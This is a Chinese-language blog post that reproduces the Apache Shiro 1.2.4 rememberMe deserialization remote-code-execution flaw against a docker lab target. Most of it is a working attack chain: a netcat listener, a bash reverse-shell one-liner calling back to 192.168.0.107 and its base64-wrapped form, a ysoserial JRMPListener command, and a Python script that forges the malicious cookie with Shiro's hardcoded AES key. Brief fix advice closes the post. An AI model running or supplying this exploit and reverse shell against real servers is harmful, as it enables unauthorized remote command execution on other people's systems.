Apache Shiro反序列化复现

发布 : 2020-06-28

漏洞简介

Apache shiro默认使用了CookieRememberMeManager, 其处理cookie的流程是: 得到rememberMe的cookie值进行Base64解码,然后AES解密,再反序列化;然而AES的密钥是硬编码的, 就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

影响版本

Apache Shiro <= 1.2.4

漏洞复现

复现环境

攻击机 win10
靶机 ubuntu20

环境搭建

使用网上的docker环境进行复现

1
2
docker pull medicean/vulapps:s_shiro_1				#下载镜像
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1 #运行镜像

攻击演示

首先生成攻击载荷

设置监听

1
nc -lp 1111

反弹shell命令

1
bash -i >& /dev/tcp/192.168.0.107/1111 0>&1

进入这个网站将命令转换成加密后的命令

image-20200628112653339

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA3LzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i}

使用ysoserial.jar 中的JRMP监听模块,监听 5858 端口并执行反弹shell命令

1
java -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 5858 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA3LzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i}'

然后通过脚本伪造cookie内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
1
python shrio.py 192.168.0.107:5858

注意这里的端口是ysoserial监听的端口

image-20200628114336020

复制生成的cookie,访问靶机地址,点击红框处

image-20200628111813090

输入admin/admin 记得选择remember me

image-20200628113411909

拦截一下数据包,然后修改cookie,将原先的删除,加入生成rememberMe,之后点击Go

image-20200628114540099

然后来到ysoserial监听的终端可以看到出现了一些东西

image-20200628114649756

在nc监听端终端收到了shell,可以执行命令

image-20200628115002550

修复方式

  • 升级shiro到1.2.5及以上
  • 如果在配置里配置了密钥, 不要使用网上的密钥, 利用官方提供的方法去生成密钥。

参考

https://xi4or0uji.github.io/2019/10/16/Shiro-RememberMe-1.2.4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

https://www.jianshu.com/p/0007eafd1f92

https://blog.csdn.net/weixin_44276628/article/details/103094039

本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/23491f58.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!